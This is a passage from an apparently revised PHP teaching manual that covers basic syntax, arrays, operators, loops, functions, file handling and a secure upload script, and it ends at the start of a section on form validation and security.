3. **Naming rules.** A constant name should begin with a letter or an underscore, followed by letters, numbers or underscores. By convention constant names are written in **UPPERCASE** to distinguish them from variables.
4. **No `$` symbol.** Unlike variables, constants do not use a dollar prefix.

```php
<?php
// Two ways to define a constant
define("SITE_NAME", "My Website");
const DB_HOST = "localhost";

echo SITE_NAME;        // My Website
echo DB_HOST;          // localhost

// SITE_NAME = "Other";  // ERROR — constants cannot be reassigned

function showSite() {
    echo SITE_NAME;    // works without 'global' — constants are always global
}
```

Constants compared with variables

	Constant	Variable
Can be changed	No	Yes
Scope	Always global	Global, local, static or superglobal
Uses `$`	No	Yes
Convention	UPPERCASE	camelCase or snake_case

d) PHP data types

PHP data types are the kinds of data a variable can hold. Since PHP is loosely typed, the type of a variable is determined automatically by the value assigned to it.

Type	Description	Example
Integer	Whole numbers without decimal points	`$age = 25;`
Float (double)	Numbers with decimal points or in exponential form	`$price = 19.99;`
String	A sequence of characters in single or double quotes	`$name = "Alice";`
Boolean	Two possible states, `true` or `false`	`$active = true;`
Array	A collection of values in one variable, accessed by index or key	`$colors = ["red", "blue"];`
Object	Stores data and functions together in a single unit	`$user = new User();`
NULL	A variable with no value; the only possible value of type NULL	`$empty = null;`
Resource	A reference to an external resource, such as a file handle or database connection	`$file = fopen("a.txt", "r");`

Type casting and conversion. PHP automatically converts types when necessary — for example from a numeric string to an integer during arithmetic. You can also cast explicitly:

```
<?php
$number = "10";               // a string
$sum = $number + 5;           // 15 — PHP converted it automatically

$explicit = (int) "42abc";    // 42 — explicit cast to integer
$asFloat  = (float) "3.14";   // 3.14
$asString = (string) 99;      // "99"
$asBool   = (bool) 0;         // false

var_dump($explicit);          // int(42)
var_dump(gettype($asFloat));  // string(6) "double"
```

> Use `var_dump()` rather than `echo` when you are unsure what a variable contains. `echo` prints `1` for `true` and nothing at all for `false` or `null`, which hides bugs. `var_dump()` shows you the type and the value.

e) PHP syntax

PHP syntax is the set of rules defining how PHP code should be written and structured.

1. PHP tags. PHP code is embedded within HTML by enclosing it in `<?php ... ?>` tags:

```
<!DOCTYPE html>
<html>
<body>
    <h1>My First Page</h1>
    <?php
        echo "<p>This paragraph came from PHP.</p>";
    ?>
    <p>This paragraph is plain HTML.</p>
</body>
</html>
```

> The original manual writes the opening tag as `<?PHP` in capitals. PHP accepts it, but **the correct and universal convention is lowercase `<?php`**. Every codebase, every framework and every style guide uses lowercase. Write `<?php`.
>
> Also note: in a file containing **only** PHP code, omit the closing `?>`. A stray space or newline after it gets sent to the browser and causes the "headers already sent" error you will meet in Learning Outcome 3.

The difference between a PHP tag and a PHP script. The **tag** is the opening and closing markup telling the server where the PHP code begins and ends. The **script** is the entire block of code written inside those tags that performs the actual work. The tags are the boundaries; the script is the code within them.

2. Statements and semicolons. Every PHP statement ends with a semicolon `;`. A missing semicolon is the single most common syntax error, and PHP reports it on the *following* line — so when an error points at a line that looks correct, check the line above it.

3. Comments. Comments are ignored by the interpreter and used for documentation.

```php
<?php
// This is a single-line comment
# This is also a single-line comment

/*
   This is a
   multi-line comment
*/

/**
 * This is a docblock — the standard way to document
 * a function or class.
 */
```

Multi-line comments are used for longer descriptions, and for temporarily disabling chunks of code while debugging.

4. Output. Two constructs print to the browser:

```php
<?php
echo "Hello";                    // slightly faster, can take several arguments
echo "Hello", " ", "World";
print "Hello";                   // returns 1, so it can be used in an expression

$name = "Alice";
echo "Hello, $name!";            // double quotes: the variable is substituted
echo 'Hello, $name!';            // single quotes: prints literally $name
echo "Hello, " . $name . "!";    // concatenation with the dot operator
```

The difference between single and double quotes matters constantly: **double quotes interpolate variables, single quotes do not.**

f) PHP arrays

An **array** is a data structure that stores multiple values in a single variable. Arrays in PHP are versatile and can hold elements of different types, including other arrays.

1. Indexed array. An indexed array uses a numeric index. The first element has index 0, the second 1, and so on.

```php
<?php
$fruits = array("Apple", "Banana", "Mango");   // older syntax
$colors = ["Red", "Green", "Blue"];            // short syntax — preferred

echo $colors[0];              // Red
echo count($colors);          // 3

$colors[] = "Yellow";         // append to the end
print_r($colors);
```

2. Associative array. An associative array uses named keys that you assign, so you can use meaningful keys instead of numbers.

```php
<?php
$student = [
    "name"     => "Mugisha Jean",
    "marks"    => 78,
    "decision" => "Passed"
];

echo $student["name"];        // Mugisha Jean
echo $student["marks"];       // 78

// Loop through keys and values
foreach ($student as $key => $value) {
    echo "$key: $value <br>";
}
```

Use an associative array when a numeric index would be meaningless: storing the ages of students by name, the salaries of employees, or a student's score in each subject.

3. Multidimensional array. A multidimensional array contains one or more arrays as its elements — an array of arrays. Every element holds a sub-array within it.

```php
<?php
$staff = [
    ["name" => "Uwase Claire", "reg" => "RW001", "email" => "claire@example.com"],
    ["name" => "Habimana Eric", "reg" => "RW002", "email" => "eric@example.com"],
    ["name" => "Ingabire Sarah", "reg" => "RW003", "email" => "sarah@example.com"]
];

echo $staff[0]["name"];       // Uwase Claire

foreach ($staff as $person) {
    echo $person["name"] . " — " . $person["email"] . "<br>";
}
```

g) Loops

Looping is the process of repeatedly executing a block of code as long as a condition is true, or until a condition is met. Loops let you perform repetitive tasks efficiently.

Use cases:

- **Iterating over arrays** — processing or manipulating each element.
- **Repetitive tasks** — generating a series of HTML elements, or processing form inputs.
- **Data processing** — looping through database query results to display or analyse data.
- **Controlled repetition** — running a block a specific number of times.

Types of loop in PHP:

- `while` — executes a block as long as the given condition remains true.
- `do...while` — similar, but guarantees the block executes **at least once**, even if the condition is false from the start.
- `for` — used when you know in advance how many times to repeat.

- `foreach` — designed specifically for iterating over arrays, making collections easy to work with.
- `break` **and** `continue` — `break` exits the loop entirely; `continue` skips the rest of the current iteration and moves to the next.

h) PHP functions

A **function** is a reusable block of code that performs a specific task. Functions organise and modularise code, making it easier to manage, debug and reuse.

1. Built-in functions are predefined and included in the core PHP language. They are used without any installation. PHP provides a large set of them for string manipulation, array handling, file operations, mathematics and much more.

2. User-defined functions are created by the programmer to perform a specific set of tasks. To create one, use the `function` keyword followed by a descriptive name that reflects what the function does.

```
<?php
function calculateSum($a, $b) {
    return $a + $b;
}

echo calculateSum(10, 5);      // 15
```

i) PHP operators

Operators are symbols or keywords that perform operations on variables and values.

a) Arithmetic operators

```
<?php
$a = 10;
$b = 5;

$sum        = $a + $b;   // 15  — addition
$difference = $a - $b;   // 5   — subtraction
$product    = $a * $b;   // 50  — multiplication
$quotient   = $a / $b;   // 2   — division
$remainder  = $a % $b;   // 0   — modulus (the remainder)
$power      = $a ** $b;  // 100000 — exponentiation (PHP 5.6 and later)
```

b) Assignment operators

```php
<?php
$x = 10;
$y = 5;

$x += $y;   // $x is now 15  — same as $x = $x + $y
$x -= $y;   // $x is now 10
$x *= $y;   // $x is now 50
$x /= $y;   // $x is now 10
$x %= $y;   // $x is now 0

$text = "Hello";
$text .= " World";   // concatenation assignment: "Hello World"
```

c) Comparison operators

Operator	Meaning
`==`	Equal — checks if two values are equal
`!=` or `<>`	Not equal
`===`	Identical — equal **and** of the same data type
`!==`	Not identical
`>`	Greater than
`<`	Less than
`>=`	Greater than or equal to
`<=`	Less than or equal to
`<=>`	Spaceship — returns -1, 0 or 1 (PHP 7+)

```php
<?php
var_dump(10 == "10");    // true  — values match after conversion
var_dump(10 === "10");   // false — types differ (int vs string)
var_dump(10 !== "10");   // true
```

Prefer `===` over `==`. Loose comparison performs type conversion, which produces surprising results and is a frequent source of security bugs — a login check written with `==` can be tricked by carefully chosen input. Use `===` unless you have a specific reason not to.

d) Logical operators

```php
<?php
$x = true;
$y = false;

$result = ($x && $y);    // false – AND: true only if both are true
$result = ($x || $y);    // true  – OR: true if at least one is true
$result = (!$x);         // false – NOT: the opposite
$result = ($x xor $y);   // true  – XOR: true if exactly one is true
```

e) Increment and decrement operators

```php
<?php
$count = 5;
$count++;    // post-increment: $count is now 6
++$count;    // pre-increment:  $count is now 7
$count--;    // $count is now 6
```

f) Concatenation operator (`.`) — combines two strings:

```php
<?php
$string1 = "Hello, ";
$string2 = "world!";
$result = $string1 . $string2;   // "Hello, world!"
```

g) Conditional (ternary) operator (`?:`) — a compact if-else:

```php
<?php
$age = 20;
$message = ($age >= 18) ? "Mature" : "Young";
// "Mature", because $age is at least 18
```

h) Array operators

```php
<?php
$array1 = [1, 2, 3];
$array2 = [3, 4, 5];

$result = $array1 + $array2;
print_r($result);        // Array ( [0] => 1 [1] => 2 [2] => 3 )
```

The original manual states that `$array1 + $array2` gives `[1, 2, 3, 4, 5]`. **That is incorrect.** The union operator `+` keeps the element from the **left-hand** array for any key that exists in both. Since both arrays here have keys 0, 1 and 2, the result is simply `[1, 2, 3]` — the second array contributes nothing.

To join two arrays end to end, use `array_merge()`:

```php
$result = array_merge($array1, $array2);
// Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 3 [4] => 4 [5] => 5 )
```

Array comparison operators: `==` checks whether two arrays have the same key/value pairs; `===` checks whether they are identical, with the same keys and values **in the same order and of the same types**.

i) Null coalescing operator (`??`) — returns the first operand if it exists and is not null, otherwise the second:

```
<?php
$username = $_GET['user'] ?? 'guest';
// If $_GET['user'] is missing or null, $username becomes 'guest'
// and no warning is raised — this replaces isset() checks

$name ??= "Unknown";     // null coalescing assignment (PHP 7.4+)
```

j) Conditional statements

Conditional statements let you perform different actions based on different conditions, controlling the flow of your program.

- **`if`** executes a block of code if a condition evaluates to true; otherwise nothing happens.
- **`if...else`** executes one block if the condition is true and another if it is false.
- **`if...elseif...else`** tests several conditions in sequence; the first that evaluates to true has its block executed.
- **`switch`** executes one of many blocks based on the value of a variable. It is often used instead of a long `if...elseif` chain when all the tests are against the same variable.

k) Superglobal variables

Superglobals are built-in variables that are always accessible regardless of scope — available throughout your script, including inside functions, without the `global` keyword. They are associative arrays storing various kinds of information.

Superglobal	Contains
`$_GET`	Data sent via HTTP GET, typically from a URL query string
`$_POST`	Data sent via HTTP POST, typically from an HTML form
`$_REQUEST`	Data from `$_GET`, `$_POST` and `$_COOKIE` combined
`$_SERVER`	Information about the server environment and the HTTP request — headers, paths, script locations
`$_FILES`	Data about files uploaded via HTTP POST — name, type, size and temporary location
`$_ENV`	Environment variables passed to the script from its runtime environment
`$_COOKIE`	Data sent to the server from the client as cookies
`$_SESSION`	Data stored in session variables, persisting across pages within one browsing session
`$GLOBALS`	References to all variables currently defined in the global scope

> Avoid `$_REQUEST` in real applications. Because it merges three sources, an attacker can supply a value through a URL query string that your code expected to come only from a POST form. Be explicit: use `$_POST` for form submissions and `$_GET` for URL parameters.

l) File handling

File handling refers to the functions available for reading, writing, manipulating and managing files and directories. PHP provides built-in functions including `fopen()`, `fwrite()`, `fread()` and `fclose()` to work with files in different modes — read, write, append and binary.

> The original manual lists this function as `open()`. The correct name is **`fopen()`**. There is no `open()` function in PHP.

Practical activity 1.2.2 — Creating a simple PHP program

Go to the computer laboratory and create a simple PHP program that displays the message *"Hello software Developers"*.

Key reading 1.2.2 — Creating a simple PHP program

a) What a PHP program is. A PHP program is a script that performs tasks on the server side — generating dynamic content, interacting with databases, handling form submissions and managing files. PHP's ability to embed within HTML and interact with web technologies makes it a powerful tool for web development.

b) Basic syntax.

- **PHP tags:** code is embedded within `<?php ... ?>`. Everything between them is executed as PHP.
- **Statements** end with a semicolon `;`.
- **Variables** start with `$` followed by the name.
- **Comments** may be single-line (`//` or `#`) or multi-line (`/* ... */`).
- **Output** uses `echo` or `print`.

Step-by-step, using XAMPP:

1. Open the directory where XAMPP is installed, by default `C:\xampp`.
2. Open the XAMPP folder and locate the folder named **`htdocs`**.
3. Inside `htdocs`, create a folder named for your project, for example `practice`.
4. Open your text editor and choose **Open Folder**.
5. Navigate to `C:\xampp\htdocs` and select the folder you created.
6. Create a file named `index.php` inside it. The name `index.php` is not mandatory, but a file with that name is what the server shows by default when a folder is requested.

7. Type your PHP script.
8. Save the file, open your browser, and type `localhost` followed by your folder name.

The complete file (`C:\xampp\htdocs\practice\index.php`):

```
<!DOCTYPE html>
<html>
<head>
    <title>My First PHP Program</title>
</head>
<body>

<?php
    // Output a simple message
    echo "<h1>Hello software Developers</h1>";

    // Using a variable
    $message = "Welcome to PHP programming!";
    echo "<p>$message</p>";

    // Showing today's date
    echo "<p>Today is " . date("l, d F Y") . "</p>";
?>

</body>
</html>
```

Then open `http://localhost/practice/` in your browser.

> Opening the file by double-clicking it, or typing `C:\xampp\htdocs\practice\index.php` into the browser, will show you the raw code rather than the result. PHP must be processed by the server, so the address must begin with `http://localhost/`.

Practical activity 1.2.3 — Applying PHP basic concepts

Create a PHP program that adds two numbers and calculates their sum. When the sum is an odd number the program displays the message “SUM IS ODD NUMBER” ten times; otherwise it displays the value of the sum five times.

Key reading 1.2.3 — Applying PHP basic concepts

Using variables, operators and data types

Variables are declared with `$`. PHP is loosely typed, so you do not specify a type.

```php
<?php
$firstName = "Keza";
$lastName  = "Alice";
$age       = 22;
$gpa       = 3.75;
$enrolled  = true;

// Using variables in expressions
$fullName = $firstName . " " . $lastName;
$nextYear = $age + 1;

echo "Name: $fullName <br>";
echo "Age next year: $nextYear <br>";
echo "GPA: $gpa <br>";
```

Control structures

Control structures make decisions based on conditions, loop through instructions, and break out of loops or switch statements.

Conditional statements

`if` **statement** — executes a block if the condition evaluates to true.

```php
<?php
$marks = 75;

if ($marks >= 50) {
    echo "You have passed.";
}
```

`if...else` — provides an alternative block to execute when the condition is false.

```php
<?php
$marks = 42;

if ($marks >= 50) {
    echo "You have passed.";
} else {
    echo "You have failed.";
}
```

`if...elseif...else` — checks several conditions in sequence.

```php
<?php
$marks = 78;

if ($marks >= 80) {
    echo "Grade A — Excellent";
} elseif ($marks >= 70) {
    echo "Grade B — Very good";
} elseif ($marks >= 60) {
    echo "Grade C — Good";
} elseif ($marks >= 50) {
    echo "Grade D — Pass";
} else {
    echo "Grade F — Fail";
}
```

`switch` **statement** — selects one of many blocks based on the value of a variable. Use it when all your tests compare the same variable against different values.

```php
<?php
$day = "Wednesday";

switch ($day) {
    case "Monday":
    case "Tuesday":
    case "Wednesday":
    case "Thursday":
    case "Friday":
        echo "It is a working day.";
        break;
    case "Saturday":
        echo "It is Saturday — half day.";
        break;
    case "Sunday":
        echo "It is Sunday — rest day.";
        break;
    default:
        echo "That is not a valid day.";
}
```

> **Never forget `break`.** Without it, execution "falls through" into the next case and keeps going. Deliberate fall-through is used above to group the weekdays, but an accidental one is a bug that is hard to spot.

PHP 8 adds the `match` expression, which is stricter and returns a value:

```php
<?php
$grade = match(true) {
    $marks >= 80 => "A",
    $marks >= 70 => "B",
    $marks >= 60 => "C",
    $marks >= 50 => "D",
    default      => "F",
};
echo $grade;
```

Iterative statements (loops)

a) `for` loop — used to execute a block a specified number of times.

```
<?php
// Syntax: for (initialisation; condition; increment)
for ($i = 1; $i <= 5; $i++) {
    echo "Number: $i <br>";
}

// Multiplication table
for ($i = 1; $i <= 12; $i++) {
    echo "7 x $i = " . (7 * $i) . "<br>";
}
```

b) `while` loop — repeats as long as a condition is true. The condition is checked **before** each iteration, so if it is false at the start, the body never runs.

```
<?php
$count = 1;
while ($count <= 5) {
    echo "Count is $count <br>";
    $count++;               // without this, the loop never ends
}
```

c) `do...while` loop — always executes the block **at least once**, because the condition is checked after the body.

```
<?php
$number = 10;
do {
    echo "This runs at least once. Number is $number <br>";
    $number++;
} while ($number < 5);      // the condition is already false, but the body ran
```

d) `foreach` loop — designed for iterating over arrays and objects. It is much easier than a `for` loop when working with arrays.

```
<?php
$subjects = ["Mathematics", "Physics", "Chemistry", "Biology"];

foreach ($subjects as $subject) {
    echo "$subject <br>";
}

$marks = ["Maths" => 82, "Physics" => 76, "Chemistry" => 91];

foreach ($marks as $subject => $score) {
    echo "$subject: $score <br>";
}
```

e) `break` and `continue`

`break` exits a loop or switch prematurely, transferring control to the statement following it.

```php
<?php
for ($i = 1; $i <= 10; $i++) {
    if ($i == 6) {
        break;              // stop entirely when $i reaches 6
    }
    echo "$i ";
}
// Output: 1 2 3 4 5
```

`continue` skips the rest of the current iteration and proceeds with the next one, without leaving the loop.

```php
<?php
for ($i = 1; $i <= 10; $i++) {
    if ($i % 2 == 0) {
        continue;           // skip the even numbers
    }
    echo "$i ";
}
// Output: 1 3 5 7 9
```

The complete solution to Practical Activity 1.2.3

```php
<?php
// Add two numbers
$num1 = 7;
$num2 = 4;
$sum  = $num1 + $num2;

echo "<p>The sum of $num1 and $num2 is $sum</p>";

// Check whether the sum is odd or even
if ($sum % 2 != 0) {
    // Odd: display the message ten times
    for ($i = 1; $i <= 10; $i++) {
        echo "SUM IS ODD NUMBER <br>";
    }
} else {
    // Even: display the value five times
    for ($i = 1; $i <= 5; $i++) {
        echo "The sum is $sum <br>";
    }
}
```

PHP arrays in practice

An array is a special variable that holds more than one value without your having to create a separate variable for each.

a) Numeric or indexed arrays. A numeric array can store strings, numbers and objects. To create one, use the `array()` function or the short `[]` syntax. By default an array starts at index **0**, so the first value is at 0, the next at 1, and so on.

```php
<?php
$students = array("Uwase", "Habimana", "Ingabire", "Nkurunziza");
// or, preferred:
$students = ["Uwase", "Habimana", "Ingabire", "Nkurunziza"];

echo $students[0];              // Uwase
echo $students[3];              // Nkurunziza
echo count($students);          // 4

for ($i = 0; $i < count($students); $i++) {
    echo ($i + 1) . ". " . $students[$i] . "<br>";
}
```

b) Associative arrays. In an associative array each key has its own value. Keys are descriptive labels used to access the values.

You should use an associative array rather than an indexed one when you want to store the ages of students along with their names, record the salaries of employees, or store a student's score in each subject.

```php
<?php
$ages = [
    "Mugisha"  => 17,
    "Uwase"    => 18,
    "Habimana" => 16,
    "Ingabire" => 19
];

echo "Uwase is " . $ages["Uwase"] . " years old.<br>";

// Display all keys and values with a loop
foreach ($ages as $name => $age) {
    echo "$name is $age years old.<br>";
}
```

c) Multidimensional arrays. A multidimensional array contains other arrays as its elements — an array of arrays. Every element holds a sub-array.

```php
<?php
$staff = [
    ["Uwase Claire",   "RW/001", "claire@company.rw"],
    ["Habimana Eric",  "RW/002", "eric@company.rw"],
    ["Ingabire Sarah", "RW/003", "sarah@company.rw"]
];

echo "<table border='1'>";
echo "<tr><th>Name</th><th>Registration</th><th>Email</th></tr>";
foreach ($staff as $row) {
    echo "<tr>";
    echo "<td>{$row[0]}</td><td>{$row[1]}</td><td>{$row[2]}</td>";
    echo "</tr>";
}
echo "</table>";
```

An associative multidimensional array is usually clearer:

```php
<?php
$staff = [
    ["name" => "Uwase Claire",   "reg" => "RW/001", "email" => "claire@company.rw"],
    ["name" => "Habimana Eric",  "reg" => "RW/002", "email" => "eric@company.rw"]
];

foreach ($staff as $person) {
    echo $person["name"] . " (" . $person["reg"] . ")<br>";
}
```

Useful array functions

Function	What it does
`count($a)`	Number of elements
`array_push($a, $v)`	Add to the end
`array_pop($a)`	Remove and return the last element
`array_shift($a)`	Remove and return the first element
`array_unshift($a, $v)`	Add to the beginning
`in_array($v, $a)`	Is a value present?
`array_search($v, $a)`	Find the key of a value
`array_keys($a)`	All the keys
`array_values($a)`	All the values
`sort($a)` / `rsort($a)`	Sort ascending / descending by value
`asort($a)` / `ksort($a)`	Sort an associative array by value / by key
`array_merge($a, $b)`	Join two arrays
`array_slice($a, 1, 3)`	Take a portion
`implode(", ", $a)`	Join into a string
`explode(",", $s)`	Split a string into an array
`array_sum($a)`	Total of the values
`array_unique($a)`	Remove duplicates

Practical activity 1.2.4 — Applying PHP functions

Create a PHP program using functions that calculates the area of a circle with a radius of 5 metres.

Key reading 1.2.4 — Applying PHP functions

1. Considerations when applying PHP functions

A function is a piece of code that takes input in the form of parameters, processes it, and returns a value.

a) Parameters compared with arguments. A **parameter** is the variable used in the function's *definition*; an **argument** is the value passed to the function when it is *called*. The parameters in a definition are also called formal arguments, and what is passed in is called the actual arguments.

b) Steps to create and use a function

1. Define the function. Use the `function` keyword, followed by the name, parentheses for parameters, and braces enclosing the code block.

```
<?php
function greet() {
    echo "Hello, welcome to PHP!";
}
greet();
```

2. Add parameters (optional). Parameters let you pass values into the function.

```
<?php
function greetUser($name) {
    echo "Hello, $name! Welcome.";
}
greetUser("Alice");
```

3. Return values (optional). A function can return a value with `return`, passing data back to where it was called.

```
<?php
function calculateSum($a, $b) {
    return $a + $b;
}

$total = calculateSum(15, 27);
echo "The total is $total";
```

4. Call the function. Use its name followed by parentheses, passing any required arguments inside them.

5. Use default parameters (optional). You can give a parameter a default value, used when the caller supplies nothing.

```php
<?php
function greet($name = "Guest", $greeting = "Hello") {
    return "$greeting, $name!";
}

echo greet();                        // Hello, Guest!
echo greet("Eric");                  // Hello, Eric!
echo greet("Eric", "Good morning"); // Good morning, Eric!
```

Parameters with defaults must come **after** those without.

The complete solution — area and perimeter of a circle:

```php
<?php
define("PI", 3.14159);

function circleArea($radius) {
    return PI * $radius * $radius;
}

function circlePerimeter($radius) {
    return 2 * PI * $radius;
}

$radius = 5;

echo "<h3>Circle with radius {$radius} m</h3>";
echo "Area: "      . round(circleArea($radius), 2)      . " square metres <br>";
echo "Perimeter: " . round(circlePerimeter($radius), 2) . " metres <br>";
```

PHP also has a built-in constant `M_PI` and a `pi()` function, both more precise than 3.14159.

Type declarations (PHP 7 and later). You can declare the types a function accepts and returns, which catches mistakes early:

```php
<?php
declare(strict_types=1);

function calculateArea(float $radius): float {
    return M_PI * $radius ** 2;
}

echo calculateArea(5);        // works
// echo calculateArea("five"); // TypeError — caught immediately
```

c) Passing by value and passing by reference

1. Passing by value. Consider this function:

```php
<?php
function changeCountry($country) {
    $country = "Rwanda";
}

$country = "Kenya";
changeCountry($country);
echo $country;        // Kenya — unchanged
```

The value of the original variable is unchanged despite the reassignment inside the function. When arguments are passed **by value**, the parameter is a variable local to that function, so reassigning it does not affect the original. It creates only a local copy.

2. Passing by reference. Now the same function with an ampersand:

```php
<?php
function changeCountry(&$country) {
    $country = "Rwanda";
}

$country = "Kenya";
changeCountry($country);
echo $country;        // Rwanda — the original was changed
```

The variable is reassigned because the parameter was defined to accept a value **by reference**, using the ampersand `&` before the parameter name. Passing by reference also means you must supply an actual variable as the argument, not a literal value, or PHP raises an error.

d) Recursive functions

Recursion is a technique where a function calls itself, directly or indirectly, to solve a problem. A recursive function breaks a problem into smaller instances of the same problem until it reaches a **base case**, which provides a direct answer and stops the recursion.

The classic example is the factorial: **n! = n × (n−1)!**

```php
<?php
function factorial($n) {
    if ($n <= 1) {         // base case — stops the recursion
        return 1;
    }
    return $n * factorial($n - 1);   // recursive case
}

echo factorial(5);        // 120  (5 × 4 × 3 × 2 × 1)
```

Recursion simplifies problems by breaking them into smaller, more manageable sub-problems. It is used in the Fibonacci sequence, binary search, merge sort, and in walking through nested structures such as a folder tree or a category hierarchy.

> Every recursive function **must** have a base case that is eventually reached. Without one, the function calls itself forever until PHP runs out of memory and the script crashes.

e) File handling

PHP provides many functions for reading, writing and manipulating files.

1. Reading a file

```
<?php
// Read the entire file at once
$content = file_get_contents("data.txt");
echo nl2br($content);

// Read a file line by line
$file = fopen("data.txt", "r");
if ($file) {
    while (($line = fgets($file)) !== false) {
        echo $line . "<br>";
    }
    fclose($file);
}

// Read the whole file into an array, one line per element
$lines = file("data.txt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
foreach ($lines as $line) {
    echo $line . "<br>";
}
```

2. Writing to a file

```
<?php
// Write, replacing any existing content
file_put_contents("output.txt", "Hello, this is new content.\n");

// Append, adding to the end
file_put_contents("output.txt", "Another line.\n", FILE_APPEND);

// The same, using fopen/fwrite
$file = fopen("output.txt", "w");     // "w" = write, truncates the file
fwrite($file, "Line one\n");
fwrite($file, "Line two\n");
fclose($file);

$file = fopen("output.txt", "a");     // "a" = append, keeps existing content
fwrite($file, "Appended line\n");
fclose($file);
```

File modes for `fopen()`

Mode	Meaning
`r`	Read only; the pointer starts at the beginning
`w`	Write only; **erases the existing content**; creates the file if it does not exist
`a`	Append; the pointer goes to the end; creates the file if needed
`x`	Create and write; fails if the file already exists
`r+`, `w+`, `a+`	The same, but allowing both reading and writing

3. Checking whether a file exists

```
<?php
if (file_exists("data.txt")) {
    echo "The file exists.";
} else {
    echo "The file was not found.";
}
```

4. Deleting a file

```
<?php
if (file_exists("old.txt")) {
    unlink("old.txt");
    echo "File deleted.";
}
```

5. Renaming or moving a file

```
<?php
rename("old_name.txt", "new_name.txt");
rename("data.txt", "archive/data.txt");   // move it
```

6. Getting file information

```
<?php
echo "Size: " . filesize("data.txt") . " bytes <br>";
echo "Last modified: " . date("d F Y H:i", filemtime("data.txt")) . "<br>";
echo "Is readable: " . (is_readable("data.txt") ? "yes" : "no") . "<br>";
echo "Is writable: " . (is_writable("data.txt") ? "yes" : "no") . "<br>";
```

7. Handling file uploads. Use the `$_FILES` superglobal.

The HTML form must use `method="post"` and `enctype="multipart/form-data"`:

```
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="document" required>
    <button type="submit">Upload</button>
</form>
```

`upload.php`:

```
<?php
$uploadDir = "uploads/";

if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["document"])) {

    $file = $_FILES["document"];

    // 1. Check for upload errors
    if ($file["error"] !== UPLOAD_ERR_OK) {
        die("Upload failed with error code " . $file["error"]);
    }

    // 2. Check the size (2 MB limit here)
    if ($file["size"] > 2 * 1024 * 1024) {
        die("The file is too large. Maximum size is 2 MB.");
    }

    // 3. Check the type against a list you allow
    $allowed = ["jpg", "jpeg", "png", "pdf"];
    $extension = strtolower(pathinfo($file["name"], PATHINFO_EXTENSION));
    if (!in_array($extension, $allowed)) {
        die("That file type is not allowed.");
    }

    // 4. Give it a new, safe name — never trust the name the user supplied
    $newName = uniqid("file_", true) . "." . $extension;
    $destination = $uploadDir . $newName;

    // 5. Move it from the temporary location
    if (move_uploaded_file($file["tmp_name"], $destination)) {
        echo "File uploaded successfully as " . htmlspecialchars($newName);
    } else {
        echo "Failed to save the file.";
    }
}
```

Never save an uploaded file under the name the user gave it, and never trust the type the browser reports. An attacker who can upload a file called `shell.php` into a web-accessible folder can then run any code they like on your server. Always check the extension against a list you allow, rename the file yourself, and store uploads outside the web root wherever possible.

Points to remember — Indicative content 1.2

Description of PHP basic concepts

- PHP files can carry several extensions — `.php`, `.phtml`, `.php3`, `.php4`, `.php5`, `.php7` — but you should use `.php` only.
- When naming a variable: it must start with `$` followed by a letter or underscore, cannot start with a number, and may contain letters, numbers and underscores. **Variable names are case-sensitive** — `$Var` and `$var` are different variables.

- The difference between constants and variables is that constants are automatically global and cannot be changed, while variables have varying scopes: global, local, static and superglobal.
- PHP functions fall into two categories: **built-in functions** and **user-defined functions**.
- PHP provides built-in functions for file handling: `fopen()`, `fwrite()`, `fread()`, `fclose()` and others, working in modes such as read, write, append and binary.
- The superglobals are `$GLOBALS`, `$_SERVER`, `$_GET`, `$_POST`, `$_FILES`, `$_COOKIE`, `$_SESSION`, `$_REQUEST` and `$_ENV`.

Creating simple PHP programs

- There are three types of array in PHP: **numeric (indexed)**, **associative** and **multidimensional**.
- Your project must live inside `htdocs`, and you must open it through `http://localhost/`, not by double-clicking the file.
- Double quotes interpolate variables; single quotes do not.

Applying PHP functions

- The basic concepts every developer must cover are variables, operators, data types, and control structures — conditional statements and loops.
- Creating functions is fundamental to writing modular, reusable code. Functions encapsulate a block of code performing a specific task, which can then be called many times.
- The steps when creating a function are: define the function, add parameters, return a value, and call it.
- Passing **by value** gives the function a copy; passing **by reference**, using `&`, lets the function change the original.
- Every recursive function needs a base case.

Application of learning 1.2

BEST FOR FUTURE ACADEMY is a school providing short courses, located in Nyarugenge District, Kigali City. After each training session they assess the trainees in order to certify them according to their performance.

You are asked to develop a PHP script that manages student grades for a class. The script should use variables, arrays and functions to calculate and display the average grade, and to identify which students have passed and which have failed.

1.3 Application of PHP security concepts

Duration: 6 hours

Theoretical activity 1.3.1 — Description of PHP security concepts

Answer these before reading on:

1. What do you understand by the term form handling?
2. Define validation and security.
3. What is the difference between a session and a cookie?
4. What are the differences between POST and GET?

Key reading 1.3.1 — Description of PHP security concepts

a) PHP form handling

Form handling is the process of collecting, validating and processing user input from HTML forms using PHP. When a user submits a form on a web page, PHP manages the data sent and performs actions based on it.

POST and GET methods

The **GET** method is an HTTP request method used to request data from a source. It sends data from the browser to the server by appending it to the URL. It is commonly used to retrieve data based on user input.

The **POST** method is another approach to transmitting data from a browser to a server. It differs from GET in how it handles data and in its security characteristics, making each suited to different situations.

Differences between GET and POST

Parameter	GET	POST
Visibility	Data is appended to the URL and visible in the browser's address bar	Data is included in the request body and not visible in the URL
Data length	Limited by the URL length, which varies by browser and server — typically around 2048 characters	No inherent limit on data size, allowing large amounts to be sent
Security	Less secure, because data is visible in the URL and can be exposed in browser history and server logs	More secure for transmitting sensitive data, since it is not exposed in the URL
Bookmarks and sharing	Easily bookmarked and shared, since the data is part of the URL	Cannot be bookmarked or shared through the URL
Impact on server	Generally used for retrieving data without side effects	Often causes a change in server state, such as a database update
Caching	Can be cached by browsers and proxies	Not cached
Use it for	Search queries, filters, pagination — anything the user might want to bookmark	Login forms, registrations, payments, deletions

> "More secure" for POST means only that the data is not in the URL. **POST is not encrypted.** Anyone watching the network can read a POST body just as easily as a URL. The only thing that makes either method secure in transit is **HTTPS**.

b) Validation

Validation is the process of checking user input or data to ensure it meets certain criteria before it is processed or stored. Validation is a crucial step in web development: it improves security, protects data integrity, and improves the user experience. It helps prevent problems such as SQL injection and cross-site scripting, and ensures that data conforms to the expected format.

Common types of validation in PHP

1. Form validation. When users submit forms, PHP validation checks that the submitted data meets the required criteria — that required fields are present, that email addresses are well formed, that numeric fields contain numbers.

```php
<?php
$errors = [];

if (empty($_POST['name'])) {
    $errors[] = "Name is required.";
}
if (empty($_POST['email'])) {
    $errors[] = "Email is required.";
}
if (strlen($_POST['password'] ?? '') < 8) {
    $errors[] = "Password must be at least 8 characters.";
}
```

